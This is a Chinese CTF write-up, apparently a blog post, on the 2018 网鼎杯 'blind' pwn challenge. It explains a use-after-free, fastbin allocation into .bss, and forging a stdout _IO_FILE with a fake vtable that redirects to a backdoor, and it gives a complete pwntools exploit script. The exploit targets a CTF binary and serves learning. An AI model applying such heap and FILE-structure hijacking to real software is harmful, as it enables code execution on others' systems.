美文网首页
网鼎杯(1)-blind

网鼎杯(1)-blind

作者: 2mpossible | 来源:发表于2018-08-21 16:27 被阅读0次

怀着学习的心态就看了两道题(都有点难

很明显的uaf漏洞,但是开了RELRO,而且泄漏不了地址,但是可以利用uaf往bss段分配达到任意地址写,然后就没思路了

new(0,'aaaa')
new(1,'bbbb')
new(2,'cccc')

release(0)
release(1)
change(1,p64(0x60201d) + '\n') #1 --> 0

#gdb.attach(p)
new(3,'aaaa')
system_addr = 0x00000000004008E3
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68) 
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)

赛后请教了(膜)charlie师傅知道才知道要用伪造_IO_FILE结构体的操作做,由于可以在bss段上任意写,所以修改ptr为bss地址,并在bss上伪造stdout的_IO_FILE结构体并伪造一个vtable将原本printf的虚表地址变成后门地址,让stdout地址指向这个结构体,当调用到vtable就可以执行后门函数,_IO_FILE的知识可以参考https://ctf-wiki.github.io/ctf-wiki/pwn/io_file/introduction/

stdout _IO_FILE结构

但还有一个细节的地方,这里伪造的时候flag要更改,理由是charlie师傅告诉我的,要绕过两个校验,这里直接引用charlie师傅的wp,可以ida查看一下libc的vprintf函数实现过程那里

charlie师傅的wp charlie师傅的wp

所以我们的flag要满足

flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0

所以flag可以有很多值,例如0xfbad8080,0xfbad8000等
最后完整exp:

from pwn import *
context.log_level = 'debug'
p = process('./blind.')

def new(index,content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)

def change(index,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(content)

def release(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))


new(0,'aaaa')
new(1,'bbbb')
new(2,'cccc')

release(0)
release(1)
change(1,p64(0x60201d) + '\n') #1 --> 0

#gdb.attach(p)
new(3,'aaaa')
system_addr = 0x00000000004008E3
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68) 
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)


#fake _IO_FILE
#index1
payload = p64(0x00000000fbad8000) + p64(0x602060)*7 
payload += p64(0x602061) + p64(0)*4  
change(1,payload)

#index2
payload = p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0) 
payload += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
payload += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)
change(2,payload)

#index3 
payload =  p64(0) + p64(0x602090 + 0x68*3) + '\n'
change(3,payload)

#fake vtable
#index 4
payload = 'a'*56 + p64(system_addr) + '\n'
change(4,payload)

#modify stdout --> fake _IO_FILE
#index 0
payload = p64(0x602090) + '\n'
change(0,payload)
#gdb.attach(p)


p.interactive()

相关文章

  • 网鼎杯(1)-blind

    怀着学习的心态就看了两道题(都有点难 很明显的uaf漏洞,但是开了RELRO,而且泄漏不了地址,但是可以利用uaf...

  • 网鼎杯(1)-guess

    明显的栈溢出漏洞,但是开了canary保护但是flag被读取到栈上,所以可以用SSP(Stack Smashes ...

  • [网鼎杯] writeup

    网鼎杯 这次还行很开心 挺满足 题目列表 web facebook 首先访问robots.txt 存在备份泄露,把...

  • [网鼎杯线下] web && droopy 靶场

    网鼎杯线下web && droopy 靶场 这次网鼎打完啦,还是觉得自己太菜了半决赛第二也是抱了pwn爷爷的大腿(...

  • 网鼎杯blend wp

    记录一次菜的抠脚的学习过程 题目是一个bin文件,首先通过file命令看一下文件格式 拖到IDA Pro 可以识别...

  • 网鼎杯(4)-pwn

    题目链接 保护还挺多 主要漏洞点: stack函数有栈溢出,还有puts函数可以泄漏栈的东西 secret函数由于...

  • 网鼎杯线下赛

    网鼎杯线下赛 初赛的时候因为和江苏的比赛时间冲突了所以我没打, 不过各位大佬们都很强, 最终以线上赛第一名的名次进...

  • 网鼎杯pwn WP

    前言 本周参加了两个比赛,一个是de1CTF,另一个是网鼎杯,把这两场比赛全部总结一下。 在网鼎杯中,有幸拿了一个...

  • 网鼎杯-幸运的数字

    参考链接 https://l0x1c.github.io/2020/05/15/2020-5-14/ libgmp...

  • 网鼎杯2020RE

    0x00 band 使用frida来dump dex文件,这里使用了https://github.com/hluw...

网友评论

      本文标题:网鼎杯(1)-blind

      本文链接:https://www.haomeiwen.com/subject/jdbriftx.html